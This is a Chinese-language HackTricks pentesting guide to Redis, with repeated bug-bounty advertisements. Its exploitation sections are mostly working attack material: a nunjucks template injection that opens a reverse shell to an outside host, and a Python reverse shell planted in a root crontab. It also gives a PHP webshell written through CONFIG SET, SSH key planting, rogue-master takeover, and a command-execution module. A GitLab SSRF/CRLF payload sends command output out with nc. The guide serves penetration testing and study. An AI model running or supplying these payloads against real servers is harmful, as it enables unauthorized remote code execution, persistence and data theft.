hacktricks/network-services-pentesting/6379-pentesting-redis.md
2023-08-03 19:12:22 +00:00

18 KiB
Raw Blame History

6379 - Redis渗透测试

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

HackenProof是所有加密漏洞赏金的家园。

无需延迟获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。

在web3渗透测试中获得经验
区块链协议和智能合约是新的互联网在其兴起的日子里掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声望积分,并占据每周排行榜的榜首。

在HackenProof上注册开始从您的黑客攻击中获利!

{% embed url="https://hackenproof.com/register" %}

基本信息

Redis是一个开源BSD许可证的内存数据结构存储,用作数据库、缓存和消息代理(来自这里。默认情况下Redis使用基于纯文本的协议但您必须记住它也可以实现ssl/tls。了解如何在此处使用ssl/tls运行Redis

默认端口: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

自动枚举

一些自动化工具可以帮助获取 Redis 实例的信息:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

手动枚举

横幅

Redis是一种基于文本的协议,您只需在套接字中发送命令返回的值将可读。还要记住Redis可以使用ssl/tls运行(但这非常奇怪)。

在常规的Redis实例中您可以使用nc进行连接,也可以使用redis-cli

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

你可以尝试的第一个命令是**info**。它可能返回Redis实例的信息输出或者返回类似以下内容

-NOAUTH Authentication required.

在这种情况下,这意味着您需要有效的凭据才能访问Redis实例。

Redis身份验证

默认情况下,可以无需凭据访问Redis。但是可以进行配置以仅支持密码或用户名+密码
可以在_redis.conf文件中使用参数requirepass设置密码,**或者在服务重新启动连接到Redis并运行config set requirepass p@ss$12E45**时临时设置密码。
此外,可以在
redis.conf_文件中的参数masteruser中配置用户名

{% hint style="info" %} 如果仅配置了密码,则使用的用户名是“default”。
此外,请注意,无法从外部找到Redis是否仅配置了密码或用户名+密码。 {% endhint %}

在这种情况下,您将需要找到有效的凭据才能与Redis进行交互因此可以尝试暴力破解
如果找到有效的凭据,请在建立连接后使用命令进行身份验证

AUTH <username> <password>

有效的凭证将会得到以下回应:+OK

已认证的枚举

如果Redis实例接受匿名连接或者你找到了一些有效的凭证,你可以使用以下命令开始对服务进行枚举:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

其他Redis命令可以在这里这里找到。
请注意,Redis实例的命令可以在redis.conf文件中被重命名或删除。例如以下行将删除FLUSHDB命令

rename-command FLUSHDB ""

更多关于安全配置Redis服务的信息请参考https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

您还可以使用命令**monitor实时监控执行的Redis命令或者使用slowlog get 25**获取前25个最慢的查询命令。

在这里可以找到更多有关Redis命令的有趣信息https://lzone.de/cheat-sheet/Redis

数据库转储

在Redis中数据库是从0开始的数字。您可以通过命令info的输出中的"Keyspace"块来查找是否有任何数据库正在使用:

或者您可以使用以下命令获取所有的keyspaces(数据库):

INFO keyspace

在这个例子中,正在使用数据库0和1数据库0包含4个键数据库1包含1个键。默认情况下Redis将使用数据库0。为了导出例如数据库1您需要执行以下操作

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

如果在运行GET <KEY>时出现-WRONGTYPE操作针对保存错误类型值的键的错误,这是因为键可能不是字符串或整数,需要使用特殊操作符来显示它。

要了解键的类型,请使用TYPE命令,以下是列表和哈希键的示例。

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

使用npm redis-dump 或python redis-utils 来转储数据库。

HackenProof 是所有加密货币漏洞赏金的家园。

即时获得奖励
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。

在web3渗透测试中获得经验
区块链协议和智能合约是新的互联网在其兴起的时代掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声望积分,并登上每周排行榜的榜首。

在HackenProof上注册 开始从您的黑客攻击中赚取收入!

{% embed url="https://hackenproof.com/register" %}

Redis RCE

交互式Shell

redis-rogue-server 可以自动在Redis<=5.0.5中获取交互式Shell或反向Shell。

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

来自这里的信息。您必须知道网站文件夹的路径

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

如果Webshell访问异常您可以在备份后清空数据库然后再次尝试记得恢复数据库。

模板Webshell

与前一节类似您还可以覆盖一些将由模板引擎解释的HTML模板文件并获得一个Shell。

例如,根据这篇文章,您可以看到攻击者在一个由nunjucks模板引擎解释的HTML中注入了一个反向Shell

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} 请注意,多个模板引擎会将模板缓存在内存中,因此即使您覆盖它们,新的模板也不会被执行。在这种情况下要么开发人员保留了自动重新加载功能要么您需要对服务进行拒绝服务攻击DoS并期望它会自动重新启动。 {% endhint %}

SSH

请注意,在执行其他手动利用命令之后,config get dir 的结果可能会发生变化。建议在登录到 Redis 后立即运行此命令。在 config get dir 的输出中,您可以找到 redis 用户的主目录(通常为 /var/lib/redis/home/redis/.ssh),通过这个信息,您就知道可以在哪里写入 authenticated_users 文件以通过 ssh 使用 redis 用户登录。如果您知道其他有效用户的主目录,并且您具有可写权限,您也可以滥用它:

  1. 在您的计算机上生成一个 ssh 公私钥对:ssh-keygen -t rsa
  2. 将公钥写入文件:(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. 将文件导入到 Rediscat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. 将公钥保存到 Redis 服务器上的 authorized_keys 文件中:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. 最后,您可以使用私钥 sshredis 服务器ssh -i id_rsa redis@10.85.0.52

此技术在此处自动化:https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

最后一个例子是针对Ubuntu的对于Centos,上述命令应为:redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

这种方法也可以用来挖比特币:yam

加载Redis模块

  1. 按照https://github.com/n0b0dyCN/RedisModules-ExecuteCommand的说明,你可以编译一个Redis模块来执行任意命令
  2. 然后你需要一种方式来上传编译好的模块。
  3. 使用MODULE LOAD /path/to/mymodule.so在运行时加载上传的模块
  4. 使用MODULE LIST列出已加载的模块,以检查是否正确加载。
  5. 执行命令
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. 随时卸载模块:MODULE UNLOAD mymodule

LUA沙盒绕过

在这里你可以看到Redis使用命令EVAL来执行沙盒化的Lua代码。在链接的帖子中,你可以看到如何使用dofile函数来滥用它,但是显然这已经不再可能。无论如何,如果你能绕过Lua沙盒,你就可以在系统上执行任意命令。此外,从同一篇帖子中,你可以看到一些导致DoS的选项

一些用于绕过LUA的CVE

主从模块

主Redis的所有操作会自动同步到从Redis这意味着我们可以将有漏洞的Redis视为从Redis连接到我们自己控制的主Redis然后我们可以向自己的Redis输入命令。

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF与Redis通信

如果你可以发送明文请求Redis,你可以与它进行通信因为Redis会逐行读取请求并对它不理解的行返回错误响应

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

因此如果您在一个网站中发现了一个SSRF漏洞并且您可以控制一些头部可能是通过CRLF漏洞或POST参数那么您将能够向Redis发送任意命令。

示例Gitlab SSRF + CRLF到Shell

在Gitlab11.4.7中发现了一个SSRF漏洞和一个CRLF漏洞。当创建一个新项目时SSRF漏洞存在于从URL导入项目的功能中允许访问任意IP形式为[0:0:0:0:0:ffff:127.0.0.1]这将访问127.0.0.1而CRLF漏洞则是通过在URL中添加%0D%0A字符来利用。

因此可以滥用这些漏洞与管理gitlab队列的Redis实例进行通信并滥用这些队列来获取代码执行。Redis队列滥用的有效载荷为

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

而滥用SSRF和CRLF执行whoami命令,并通过nc发送输出的URL编码请求是:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

由于某种原因(如来源于https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/的作者所述),利用只适用于git协议而不适用于http协议。

HackenProof是所有加密漏洞赏金的家园。

即时获得奖励
只有在客户存入奖励预算后HackenProof才会启动赏金。在漏洞验证后您将获得奖励。

在web3渗透测试中积累经验
区块链协议和智能合约是新的互联网在其兴起之时掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会增加声誉积分,征服每周排行榜的顶端。

在HackenProof上注册并从您的黑客攻击中获利!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥